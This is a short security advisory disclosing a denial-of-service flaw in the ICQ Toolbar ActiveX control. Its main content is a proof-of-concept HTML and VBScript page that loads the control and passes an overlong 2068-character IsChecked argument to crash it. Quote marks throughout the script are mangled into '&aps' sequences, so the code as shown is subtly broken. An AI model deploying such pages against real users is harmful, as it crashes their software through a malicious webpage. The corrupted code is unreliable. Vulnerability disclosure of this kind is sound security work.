[EXPL] ICQ Toolbar IsChecked Denial of Service

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ICQ Toolbar IsChecked Denial of Service
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SUMMARY

A vulnerability in ICQ Toolbar allows remote attackers to cause the
control to crash by providing it with an arbitrarily long IsChecked value.

DETAILS

Exploit:
<html>
Test Exploit page
<object classid=&apsclsid:855F3B16-6D32-4FE6-8A56-BBB695989046&aps
id=&apstarget&aps ></object>
<script language=&apsvbscript&aps>


&apsWscript.echo typename(target)

&apsfor debugging/custom prolog
targetFile = "D:\Program Files\ICQToolbar\toolbaru.dll"
prototype = "Function IsChecked ( ByVal url As String ) As Long"
memberName = "IsChecked"
progid = "SoftomateLib.SoftomateObj"
argCount = 1

arg1=String(2068, "A")

target.IsChecked arg1

</script>


ADDITIONAL INFORMATION

The information has been provided by Nir Goldshlager.
The original article can be found at: <goldshlager19@xxxxxxxxx>
goldshlager19@xxxxxxxxx



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